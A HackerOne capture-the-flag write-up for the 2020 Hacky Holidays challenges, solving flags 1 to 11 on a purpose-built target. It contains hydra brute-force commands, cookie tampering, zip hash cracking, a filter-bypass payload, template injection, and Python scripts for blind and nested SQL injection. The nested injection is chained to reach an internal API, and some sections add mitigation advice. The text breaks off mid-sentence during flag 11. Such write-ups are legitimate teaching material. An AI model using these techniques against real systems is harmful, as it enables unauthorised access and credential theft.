Lucene search

K
hackeroneMzfrH1:1066206
HistoryDec 25, 2020 - 9:57 a.m.

h1-ctf: [hacky-holidays] Grinch network is down

2020-12-2509:57:43
mzfr
hackerone.com
84
hacky holidays
web security
data attributes
base64 encoding
ajax requests

Flag 1

As always CTF begins with a tweet:

{F1126838}

So we are supposed to start from https://hackyholidays.h1ctf.com/ .

The first flag was easy on https://hackyholidays.h1ctf.com/ I found a file named robots.txt which had the following content:

User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48104912-28b0-494a-9995-a203d1e261e7}

Flag 2

From flag 1 we found /s3cr3t-ar3a path so we try to visit this on the main website. https://hackyholidays.h1ctf.com/s3cr3t-ar3a, weget the following website:

{F1126839}

Checking out the source using the Ctrl+U doesnā€™t shows the flag. But if we open the developers option(ctrl+shift+e in firefox and ctrl+shif+i in chrome) in the source we can see the following lines:

<div>
	<p>I've moved this page to keep people out!</p>
	<p>If you're allowed access you'll know where to look for the proper page!</p>
</div>

And here we can see our flag:

flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}

{F1126840}

Why didnā€™t we saw the flag in the source code?

This is because the data-* attributes are used to store data in private to the page or the application. And when we ā€œview-sourceā€ of any webpage we see the HTML as it was delivered from the web server to our browser. That means we wonā€™t see any private HTML attribute, in our case data-info. But when we Inspect Element using the developer options that time we are looking at the current state of the DOM tree after:

  • HTML error correction by the browser
  • HTML normalization by the browser
  • DOM manipulation by JavaScript

and after all this we are able to see even the private attributes set in the HTML.

Flag 3

For this flag we start from the initial page i.e https://hackyholidays.h1ctf.com/. There we see that a new button has appeared now. Clicking on that button we are taken to /people-rater path on the website.

The people-rater page looks like:

{F1126842}

If we click on any button on any name we get an alert with certain rating in return. Ex if we click on Tea Avery we get an alert box saying Awful

{F1126841}

If we look at the source code of the page we can see the following ajax code:

&lt;script&gt;
    $('.thelist').on("click", "a", function(){
        $.getJSON('/people-rater/entry?id=' + $(this).attr('data-id'), function(resp){
            alert( resp.rating );
        }).fail(function(){
            alert('Request failed');
        });
    });
    var page = 0;
    $('.loadmore').click( function(){
        page++;
        $.getJSON('/people-rater/page/' + page, function(resp){
            if( resp.results.length &lt; 5 ){
                $('.loadmore').hide();
            }
            $.each( resp.results, function(k,v){
                $('.thelist').append('<div><a>' + v.name + '</a></div>')
            });
        });
    });
    $('.loadmore').trigger('click');
&lt;/script&gt;

We can see that whenever we click on any name/button the data-id is taken out and a request is sent to HOST/people-rater/entry?id=&lt;data-id-value&gt; and the rating is then presented to us on the alert box.


Now the interesting thing here is that all the data-id are in base64 encoded. If we click on the very first name i.e Tea Avery we will see that request is sent to https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6Mn0= this URL. If we decode the base64 value i.e eyJpZCI6Mn0= we will get {"id":2}. The moment you see this it hits you that why the very first name on the website have the id set to 2 and not 1 or 0.

So we check that who is being assigned the id:1 that can be done by encoding {"id":1} in base64 which will give you eyJpZCI6MX0=.

If we send the request to https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6MX0=

{F1126843}

flag{b705fb11-fb55-442f-847f-0931be82ed9a}

Flag 4

For 4th flag we start from https://hackyholidays.h1ctf.com/ and we can see in the app section a new Swag Shop button is available.

When we click on that button we get an information alert on that page:

Get your Grinch Merch! Try and find a way to pull the Grinch's personal details from the online shop.

Once we start the challenge we are taken to https://hackyholidays.h1ctf.com/swag-shop

{F1126845}

If we click on any of these buttons we get an alert asking for login, which we donā€™t have. After looking through the source of the page and some requests I found out that the login request was going on https://hackyholidays.h1ctf.com/swag-shop/api/login so I tried to find if there is any endpoint for register but didnā€™t find any.

Then I decided to FUZZ to see if I can find any other page. For fuzzing I used ffuf with dirsearchā€™s wordlist i.e dicc.txt.

{F1126846}

So we found a path /sessions, if we open that in a browser we get the a dictionary/JSON having some session values:

{F1126848}

Initially it looked like JWT token to me but then I saw that they were long base64 encoded strings. I decoded them and all of them had the user set to null except 1.

eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==

If we decode this we get:

{"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043","cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="}

Now we know the user value so we can try to visit the /user endpoint we found and see if we can find the flag.

{F1126847}

If we visit that endpoint we get an error saying value is missing that means we need to try to send the user value on this endpoint. I tried to use parameter like id, username, user but none of those worked. I then figured out that the user value we got after decoding was in uuid so I tried to pass that value as uuid= and it worked.

{F1126849}

flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}

Flag-5

For this flag we start from https://hackyholidays.h1ctf.com/secure-login. If we visit that page we get a login form. I spent some time trying to find the ways to bypass this login but couldnā€™t. But then I noticed that the whenever we enter just the username it didnā€™t ask us to also enter the password and returned the error Invalid Username. Now this gave me a slight hint that brute force of the crendentials was required.

I used hydra to get the correct username and password.

For getting the usernames I used this(Seclist/names.txt) wordlist:

hydra -L names.txt -p password -t 64 hackyholidays.h1ctf.com https-post-form "/secure-login:username=^USER^&password=^PASS^:Invalid Username"
  • -L means the username list
  • -p is the fixed string which will be used in the password field.
  • -t 64 means the number of threads
  • after that we provide the HOST to attack on
  • https-post-form is the module used for this attack
  • /secure-login:username=^USER^&password=^PASS^:Invalid Username
    • The breakdown of this string is in the following format:
    • {path where the attack is going to happen}:{name of the field in which username will be placed}={the usernames from the names.txt}&{name of the field in which password will be placed}=^{value of password}^:{Error message which shows the wrong username was used}

{F1126850}

Now we have the username lets use this to find the correct password. For finding the correct password I used, rockyou.txt

The hydra command would be:

hydra -l access -P rockyou.txt -t 64 hackyholidays.h1ctf.com https-post-form "/secure-login:username=^USER^&password=^PASS^:Invalid Password"

{F1126851}

Now we have username and password, using these credentials I logged in but got the following page:

{F1126852}

I was bit confused and wasnā€™t sure what I have to do. I tried looking for the flag everywhere, in the source of the page, via the inspector of developer tools but couldnā€™t find it. After spending sometime looking I noticed something, the cookie that was being set after the valid login looked like:

Cookie: securelogin=eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0%3D

This looked like a base64 encoded string so I decoded it and got:

-&gt; echo "eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0=" | base64 -d
{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}  

That means I have to change the value of admin to true.

-&gt; echo "{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":true}" | base64
eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQ==

This is our new encoded cookie, if we use this to send the request on /secure-login endpoint we will see a new file listed on the webpage with the name my_secure_files_not_for_you.zip

{F1126853}

I downloaded that file but it was password protected. This mean we have to crack the password of this ZIP file. For this task I used one of the utility of JTR i.e zip2john

-&gt; zip2john my_secure_files_not_for_you.zip &gt; hash.txt 

Then I ran john on hash.txt to crack the password:

-&gt; john hash.txt

Once the password was cracked I ran john --show hash.txt to see the password.

{F1126854}

Using this password I opened the ZIP file which had two files:

  • flag.txt
  • xxx.png

The flag was in flag.txt

flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}

Flag 6

We see another tweet from HackerOne:

{F1126855}

That means for flag-6 we are going to hack grinchā€™s diary.

We start from the home page and in the app section there is new challenge added named my-diary. If we start the challenge we are taken to https://hackyholidays.h1ctf.com/my-diary/?template=entries.html. Now there wasnā€™t anything interesting in the page source so I started looking in the networks tab to see if I could find anything.

After baning my head on this for few hours I talked with my friend from OpenToAll team, neolex. They gave me a hint by saying think "where I am". First of all it seemed like a really bad hint but then I realized currently in the URL we are including a template named entries.html and we are on the index page. So I tried to include the index.php in place of entries.html and I got a empty page but in the source of that page was the php code:


&lt;?php
if( isset($_GET["template"])  ){
    $page = $_GET["template"];
    //remove non allowed characters
    $page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
    //protect admin.php from being read
    $page = str_replace("admin.php","",$page);
    //I've changed the admin file to secretadmin.php for more security!
    $page = str_replace("secretadmin.php","",$page);
    //check file exists
    if( file_exists($page) ){
       echo file_get_contents($page);
    }else{
        //redirect to home
        header("Location: /my-diary/?template=entries.html");
        exit();
    }
}else{
    //redirect to home
    header("Location: /my-diary/?template=entries.html");
    exit();
}

Now if we look at this source code we can see the comments says that the admin.php has been replaced with secretadmin.php but if we try to include that page it will go back to entries.html because there is a check in that source code.

$page = str_replace("admin.php","",$page);
$page = str_replace("secretadmin.php","",$page);

These lines in the code replaces the admin.php or secretadmin.php with "" i.e empty string.

So we need to pass a string in such a manner that even after both of these replacements are done weā€™ll still get secretadmin.php. To do this I decided to locally test this process.

&lt;?php

$page = "secretsecretadadmin.phpmin.phpadadmin.phpmin.php";
$page = str_replace("admin.php", "", $page);
$page = str_replace("secretadmin.php","",$page);
echo $page;

This is the code that returned secretadmin.php even after replacements.

So if we visit https://hackyholidays.h1ctf.com/my-diary/?template=secretsecretadadmin.phpmin.phpadadmin.phpmin.php we will get our flag and we can clearly see the motives of the Grinch.

{F1126856}

Mitigation

As we can see that using str_replace caused the issue and resulted in giving access to the place where an attacker should be. That it is better to avoid using such functions for a functionality like including a file.
A better check which would have prevented from any accessing sensitive files, in our case secretadmin.php or even index.php would be to have a white list of all the files that you would like to allow access to and if any other file is present then just show 403 or redirect to default page.

Ex:

if (in_array($page, $WHITE_LIST_ARRAY)) {
	// include the page or do whatever is to be done
}

Flag 7

Another day another tweet:

{F1126857}

For this flag we had to start with the hate-mail-generator(https://hackyholidays.h1ctf.com/hate-mail-generator). We can see that there is a create button and other than that there is an existing hate-mail. The existing hate-mail looks like:

{F1126858}

Even though we canā€™t edit this message we can try to create a new one.

If we try to create a new one we get an error saying we donā€™t have enough credits to do that but one thing to notice is that {{name}} is automatically converted to Alice when we preview our new mail. After trying lot of Template injection payload I came to the conclusion that this has nothing to do with SSTI. But when I trying loads of stuff here I noticed an error, if we trying any payload like: {{template:RANDOMTHINGS}}

Cannot find template file /templates/hashadhasd

So I tried to visit the https://hackyholidays.h1ctf.com/hate-mail-generator/templates/ and this gives us the list of all the available templates:

{F1126859}

When I tried to include that it gave error about permissions. After spending sometime on the hate-mail-generator/new I noticed something in the source code:

&lt;form method="post" action="/hate-mail-generator/new/preview" id="previewfrm" target="_blank"&gt;
    &lt;input type="hidden" name="preview_markup"&gt;
    &lt;input type="hidden" name="preview_data" value='{"name":"Alice","email":"[email protected]"}'&gt;
&lt;/form&gt;

Here we can see that name was defined and that is why it was we get Alice whenever we use {{name}}. We can confirm that this data was being used by trying {{email}} and it will be replaced by [email protected] when we preview it.

So I thought since this data was being processed I started to inject various things inside this but the max I got from this was simple HTML injection and nothing big. Using this information and the name of the template that I found before I thought maybe we can try to include that template.

First I tried value='{"name":"38dhs_admins_only_header.html","email":"[email protected]"}' but it directly printed the name of that template without rendering it. And thatā€™s when I realized that to render any template the website is using the format, {{template:&lt;TEMPLATE_NAME&gt;}} so thatā€™s what I did.

On /hate-mail-generator/new I inspected the element and edited the preview_data to the following:

value='{"name":"{{template:38dhs_admins_only_header.html}}","email":"[email protected]"}'

and then in the form I added Hi {{name}} and BOOM šŸ’„

{F1126860}

flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}

Mitigation

Well this is something definitely what the admin of the website wanted obviously because this double template stuff is not that would arise in real world but if it may then the best way to fix it is:

  1. Donā€™t enable directory listing on of the directory that might contain any kind of sensitive information
  2. Donā€™t allow the user to render any kind of input
    1. Not this can be argued that if a website is some forum or something similar which gives the user to improve/beautify their profile. But even in that case the developers should makes sure that all the user inputs are sanitized properly.

Flag 8

{F1126861}

Looks like we are hacking the grinchā€™s forum this time.

For this flag grinch has supposedly setup a forum and the endpoint for this challenge is /forum/. We are supposed to access the admin section of this forum

There seems to be some existing post about christmas and some good things to do but those doesnā€™t have anything special which might hint toward something that we want. After looking through network tab and source of all the pages, I started to FUZZ to see if I find anything hidden.

{F1126862}

We can see that there is also an endpoint called phpmyadmin. But even after fuzzing I couldnā€™t find anything else. The phpmyadmin page was secured by login page as well. So after banging my head for a while I asked for a hint from my friend neolex and he said OSINT is going to help. With this in mind I googled lot of things related to the forum and phpmyadmin but nothing was giving it away but then I found something interesting. I googled grinch forum github and almost at the end of the search page saw something interesting.

{F1126863}

AFAIK adamtlangley is the one who made these challenges and we can see that he did a commit to a repo named Grinch-Networks/forum. So I cloned that repo and started going through the code because that was the code of the forum app.

In that I found a commit which had the credential(common mistake among devs)

{F1126865}

So I used these to login into the /phpmyadmin and there I found credentials for two other users:

{F1126864}

And among these the user grinch is the admin. But the thing is these are not the passwords but the md5 of the real password. To find the password of the md5 I used crackstation.net.

{F1126866}

So that means the password for grinch is BahHumbug. Once we login with these credentials weā€™ll see a new post in the Admin section, named Secret Plans and thatā€™s where weā€™ll find the flag.

{F1126867}

flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}

Flag 9

{F1126868}

So Now there is a new Quiz released which tells you wether you are as evil as the Grinch. We are supposed to take the quiz here(https://hackyholidays.h1ctf.com/evil-quiz)

The page have three tabs first ask your name then on clicking next you are taken to /evil-quiz/start and the quiz ask 3 questions and then it shows your score on /evil-quiz/score. Initially I didnā€™t notice anything different in this flow so I went to admin login page at /evil-quiz/admin but I didnā€™t find any credentials so login directly wasnā€™t an option.

Since the login page didnā€™t seemed to give away anything I started to try all sorts of payload on the name field of the quiz. I tried everything some basic SSTI, XSS , SQLi payload and thatā€™s when I noticed something. Everytime we set some query like grinch' or '1'='1, in the score weā€™ll see that There is 30000 other player(s) with the same name as you! and if we try grinch' or '1'='2 weā€™ll get There is 265 other player(s) with the same name as you!. This tells us that we are dealing with a Boolean Based SQL injection.

What is Boolean based SQLi?

This is a type of SQL Injection using which an attacker can know whether the SQLi payload they tried worked on the DB or not., depending on the HTTP response received. The payload will not directly return data from the DB but the HTTP response can be used to further exploit the information.

What we as an attacker can do?

In our case a value greater than 30000 represent TRUE or SUCCESS and the value aroudn 200 represents FALSE

So we can try to run payload which has the following format:

grinch' or '1'='(Select column_name FROM all_tables WHERE table_name like 'a%')--

Now if we get something in 6 digits that means there is a table name starting with a and that way we will have to test all the characters/numbers.

Since now we know what this is we need to do the following:

  1. Find the table name in which the admin credentials could be stored
  2. Then find the column names in that table
  3. Finally find the correct password for those.

The first query that I tried was

grinch' or 1=( SELECT 1 FROM information_schema.tables WHERE table_name like 'a%' LIMIT 0,1) -- -

And I got a 6 digit number showing that there was a table name starting with a and thatā€™s when I guessed it that since we are looking for admin password lets see if there is a table name admin

so I did:

grinch' or 1=( SELECT 1 FROM information_schema.tables WHERE table_name like 'admin' LIMIT 0,1) -- -

And again got a 6 digit number mean my guess was right. Now we need to find the column_names again for this one I first tried to see if there was any column name username in the admin table.

grinch' or 1=( SELECT 1 FROM information_schema.columns WHERE table_name='admin' AND column_name like 'username%' LIMIT 0,1) -- -

This also returns the 6 digit number so this time I used password% and got confirmation that such column exists.

So far we have found that there is a table named admin which have column names username and password. Now again for guessing the username I thought it would be nice to try some normal usernames like grinch or admin.

I tried this and got the 6 digit number showing that there is a username admin

grinch' or 1=( SELECT 1 FROM admin WHERE username like 'admi%' LIMIT 0,1) -- -

So that means the username is admin but password will be hard to guess so Iā€™ll decided to write the code:

import re
import requests

URL = "https://hackyholidays.h1ctf.com/evil-quiz"
strings = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$&\'()*+,-./:;@_"
username = ""

while True:
    print("password: ", username)
    for i in strings:
        cookies = {
            "session": "1c0c8fea0d49a4e09317092fa1dbef21",
            "expires": "Tue, 22-Dec-2020 11:03:29 GMT",
            "Max-Age": "86400",
            "path": "/evil-quiz",
        }
        payload = {
                "name": "grinch' or 1=( SELECT 1 FROM admin WHERE password LIKE BINARY '{}%') -- -".format(
                (username+i)
            )
        }
        print("Trying: ", payload["name"])
        r = requests.post(URL, cookies=cookies, data=payload)

        start_url = URL + "/start"
        data = {"ques_1": "0", "ques_2": "0", "ques_3": "0"}
        r = requests.post(start_url, cookies=cookies, data=data)

        search = re.search(
            b'<div>There(.*)</div>', r.content, re.IGNORECASE
        )
        number = len(search.group(1).split()[1])

        if number &gt; 5:
            username = username + i
            break
        else:
            continue

{F1126870}

With this script I was able to find the password, S3creT_p4ssw0rd-$. Now using these credentials(admin:S3creT_p4ssw0rd-$) I logged in and found the flag.

{F1126869}

Mitigation

Even though we had to do quite a lot of things in this in the end it is actually a SQLi so I think the best way to fix this is just to sanitize the user input properly.

Flag 10

{F1126871}

According to the H1 tweet The Grinch is recruiting for his evil army and we were given a new signup page for that.

{F1126874}

We can see that there is option for signup as well as login. In the source of that page I found the following comment:


&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;

This means that there could be a file name README.md on the server so I tried to visit /signup-manager/README.md and a markdown file was downloaded and had the following content in it:

# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.

### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password

In this we can see that some kind of signUp Manager is used to store the users. The important points to notice are 2 and 6, because 2 point tells us that there is a file named signupmanager.zip on the server. And 6th point tells us that if last character is Y for any user then that user will be admin(what we need to get the flag).

First I downloaded the zip file and that had the source of the signupmanager app.

The important function in the index.php was addUser

function addUser($username,$password,$age,$firstname,$lastname){
    $random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
    $line = '';
    $line .= str_pad( $username,15,"#");
    $line .= $password;
    $line .= $random_hash;
    $line .= str_pad( $age,3,"#");
    $line .= str_pad( $firstname,15,"#");
    $line .= str_pad( $lastname,15,"#");
    $line .= 'N';
    $line = substr($line,0,113);
    file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
    return $random_hash;
}

What is happening here is that all the inputs are getting padded with the # to make them of a certain length and right before writing them in the users.txt itā€™s made sure that the line is of length 113. We can also see that last character of every line will be N meaning none of the new user will be admin. After looking at this function I started looking at the code from where addUser function is getting called.

if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
            $username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
			.....
			.....
            $password = md5($_POST["password"]);
            $firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
            .....
			.....
			$lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
            .....
			.....
			if (!is_numeric($_POST["age"])) {
                $errors[] = 'Age entered is invalid';
            }
            if (strlen($_POST["age"]) &gt; 3) {
                $errors[] = 'Age entered is too long';
            }
            $age = intval($_POST["age"]);
            if (count($errors) === 0) {
                $cookie = addUser($username, $password, $age, $firstname, $lastname);
				.....
				.....
            }
        }

Now before we dive in the source code we will have to understand that if all the new user added have N at the end then the only way to become an admin is to find a way to overflow any one of the input field and have Y as the end character so that when the addUser function call the substr($line,0,113); the last character will be Y

Letā€™s look at the source code which is calling the addUser function:

  • The username, firstname and lastname should be less than 15 length, if theyā€™ll be more than that then only the starting 15 characters will be considered so we
    canā€™t just overflow one of these.
  • If we look at the password field we can see md5() is being calculated that means no matter what we enter as the password the md5 will result in something else and wonā€™t give us what we want
  • Now age is the only field that doesnā€™t have any substr check. But there are few other checks on the age field.
if (!is_numeric($_POST["age"])) {
	$errors[] = 'Age entered is invalid';
}

This makes sure that the age value is a numeric so we canā€™t have 100Y

if (strlen($_POST["age"]) &gt; 3) {
	$errors[] = 'Age entered is too long';
}

This check make sure that the age shouldnā€™t be greater than 3.

$age = intval($_POST["age"]);

This is not a check but this make sure that the age value is int type.

I started playing with is_numeric and intval function locally and I found the way to solve this. If we enter something like 1e1 both the function clears it. why? Because 1e1 is a exponential number.

{F1126872}

So if we can enter something like 1e3 the is_numeric function will clear it and the strlen will also clear it cause itā€™s exactly 3 length but when we will get to the intval function it will change 1e3 to 1000.

{F1126873}

DAMN YOU PHP

What do we have to do to get the flag?

  1. Set the last name to string with length 15 but the last character should be Y
  2. set the age to 1e3

You can use burp suite to capture the request and send it but I used the dev tools and my post data looked like:

action=signup&username=mzfr&password=mzfr&age=1e3&firstname=mzfr&lastname=mzfrmzfrmzfrmzY

and this will add a new user named mzfr with the password mzfr and admin privileges.

{F1126875}

This is the best challenge till now, I just loved it cause I learned new things about PHP and I know why I have to stay away from it šŸ˜

Mitigation

  1. I think itā€™s better to just stick with Database for storing users, just sanitize the stuff.
  2. In this challenge we saw that is_numeric and intval messed things up, it would have been nice if the strlen check was done after intval, that would have just prevented overflow
  3. Also in place of is_numeric it would much secure if ctype_digit would have been used. In the ctype_digit the 1e3 would have returned 0(false).

Flag 11

{F1126913}

In the flag 10 we saw that we were given a new URL https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59

I have no words about this challenge. If we start looking at the URL we see a list of albums

{F1129465}

If we check all those URLs all we can see that there are images in the format: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k

But all the images have the URL in the following format: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RiNTA3YmRiMTg2ZDMzYTcxOWViMDQ1NjAzMDIwY2VjLmpwZyIsImF1dGgiOiJiYmYyOTVkNjg2YmQyYWYzNDZmY2Q4MGM1Mzk4ZGU5YSJ9

If we decode that base64 we will get the following data:

{"image":"r3c0n_server_4fdk59\/uploads\/db507bdb186d33a719eb045603020cec.jpg","auth":"bbf295d686bd2af346fcd80c5398de9a"}

Now I just have to say it again I had literally no clue what the vulnerability was. I spent hours looking for everything but got nothing. Then on hackerone discord I saw the following message by @mcipekci

mcipekci Today at 5:57 PM  
tbh 9th and 11th are same issue but different variants

So I started looking for SQLi in the hash parameter and the data parameter, for some reason I spent more time on the data parameter of the /picture but got nothing. So again I asked for some hint from @neolex and he told me try the another hash parameter.

After trying various payloads I found the following to return the table names:

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-8436%27%20UNION%20ALL%20SELECT%20NULL,NULL,GROUP_CONCAT(%27\n%27,table_name)%20FROM%20information_schema.tables--%20-

{F1129472}

But again dumping tables didnā€™t help at all cause there wasnā€™t anything interesting inside those tables. Again hitting, what feels like a dead end I started to enjoy the chatter on the discord channel when @adam decided to drop another hint.

{F1129466}

Now this is an image from the insecption so I couldnā€™t make sense out of it. After enjoying banter on the discord channel about how evil adam is and how great inception was as a movie I decided to get back on the challenge and focus on the hint more.

The thing was that I know the Vuln is SQLi and inception is a movie related to dreams in dreams and what not. But if we have to think that in sense of SQL that would mean nested queries. So I started testing various stuff like

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-8436' UNION ALL SELECT NULL,NULL,GROUP_CONCAT(UNION ALL SELECT NULL,NULL,NULL) FROM information_schema.tables WHERE table_name like 'a%'-- -

or

UNION ALL SELECT NULL,NULL,( UNION ALL SELECT NULL,NULL,NULL)-- -

These queries are far from anything so I decided to spend sometime with the nested queries and thatā€™s when I figured out:

-8436' UNION SELECT "1' UNION SELECT 'rad.jpg',1,1 -- -",'12',1-- -

This payload gives us:

{F1129468}

Now there are 2 images which we already had but one image canā€™t be loaded and if we look at the URL of that image it looks like:

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEiLCJhdXRoIjoiY2I4YTJhOGY1ODZhN2NkZjdjNzY4MmMxOTZiMmYyZWQifQ==

Decoding the encoded part we can see:

{"image":"r3c0n_server_4fdk59\/uploads\/1","auth":"cb8a2a8f586a7cdf7c7682c196b2f2ed"}

That means whatever we provided in the SQLi payload is some how gets attached to the images path. Now @adam had already said this several times on discord that auth token can only be generated by the server that means we only have to mess with the image path.

If we take a step back we know there is /api/ endpoint exists which have the following data:

{F1129467}

But we canā€™t access that API or any endpoint of that API without authentication. So now things starts to get connected we use sqli to get injection inside the path with an auth token and then we try to access that path. That means we can access any endpoint as authenticated user. But for this to work weā€™ll have to find the valid /api/ endpoint. Since this wasnā€™t possible using ffuf or anything like that I wrote a small script:

import requests
import re
from bs4 import BeautifulSoup

HOST = "https://hackyholidays.h1ctf.com"
hash_URL = "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-8436' UNION SELECT "1' UNION SELECT 'rad.jpg',1,'../api/{}' -- -",'12',1-- -"

with open("lists/objects-lowercase.txt", "r") as f:
    data = f.read().split("\n")

for endpoint in data:
    r = requests.get(hash_URL.format(endpoint.strip()))
    soup = BeautifulSoup(r.content, "html.parser")
    next_url = soup.findAll("img", {"class": "img-responsive"})
    if next_url:
        new_url = HOST + next_url[-1]["src"]
        nr = requests.get(new_url)
        if nr.content != "Expected HTTP status 200, Received: 404":
            print(endpoint, "--", new_url)

The wordlist user in this is objects-lowercase.txt

{F1129471}

('password', '--', u'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/cGFzc3dvcmQiLCJhdXRoIjoiZWIxMzUyMDExN2ZmMjVmNjk1ZDk5NWFmMjAxMmNmYTMifQ==')
('username', '--', u'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWUiLCJhdXRoIjoiODE5NmRkMzE3NWRiODMxOWYzODgwOTUyNmMyMjgyMTgifQ==')
('', '--', u'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/IiwiYXV0aCI6ImMwMmI3Y2MwN2QwYTg4ZjE4NWVhNDU4N2JjMjFkM2I5In0=')

If we visit the URL weā€™ll see

{F1129470}

Now this could mean that I found the endpoint but as we know APIā€™s need parameters on the endpoints to be able to return some kind of data. So I edited the script a bit, because this time I wasnā€™t getting 404 but 400

so I changed the last if condition to:

        if nr.content != "Expected HTTP status 200, Received: 400":
            print(endpoint, "--", new_url)

This gave me:

{F1129469}

('user\n', '--', u'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXIiLCJhdXRoIjoiYmZiNmRkMDRlNjZlODU1NjRkZWJiYTNlN2IyMjJlMzQifQ==')

The password and username gave me status code 204 not on the request but as the content. And if we checkout the /api table it says that 204 means Successful request but with no data found that means we just need to find the valid username and password to get the information/data.

For this I downloaded users.txt and rockyou.txt from SecList and tried to find the valid values one at a time. After hours of long run when I didnā€™t find anything @xEHLE told me that I will never find those credential in any list and I need to find some other way. They also said also think about how a lot of username lookups work.

Now the way most looks usually works in DB are something like:

SELECT user FROM TABLE_NAME WHERE user="THE INPUT WE GIVE"

something like that but the problem is if that was the case then I think using wordlist would have worked. That is why the best way lookups would work in this case is if someone internally is using something like:

SELECT user FROM table_name WHERE user LIKE '&lt;user_input&gt;'

And I can see the issue with this, the problem is that now if user input is a% it might just return TRUE. To try this I modified my query in my script.

import requests
from bs4 import BeautifulSoup

HOST = "https://hackyholidays.h1ctf.com"
hash_URL = "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-8436%27%20UNION%20SELECT%20"1%27%20UNION%20SELECT%20%27rad.jpg%27,1,%27../api/user?username={}%%27%20--%20-",%2712%27,1--%20-"

strings = "0123456789abcdefghijklmnopqrstuvwxyz_"

for endpoint in strings:
    r = requests.get(hash_URL.format(endpoint.strip()))
    soup = BeautifulSoup(r.content, "html.parser")
    next_url = soup.findAll("img", {"class": "img-responsive"})
    if next_url:
        new_url = HOST + next_url[-1]["src"]
        nr = requests.get(new_url)
        if nr.content != "Expected HTTP status 200, Received: 204":
            print(endpoint, "--", new_url)

P.S - This script doesnā€™t work recursively so it finds one character and then I would add that character and rerun the script. At this point I was loosing my mind and didnā€™t wanted to miss anything so I decided to go slow :)

Major change to notice in this is the query:

-8436' UNION SELECT "1' UNION SELECT 'rad.jpg',1,'../api/user?username={}%' -- -",'12',1-- -

With the help of this script I found one character at a time, the username was grinchadmin and in the similar way I found the password. The change in the query was just a bit:

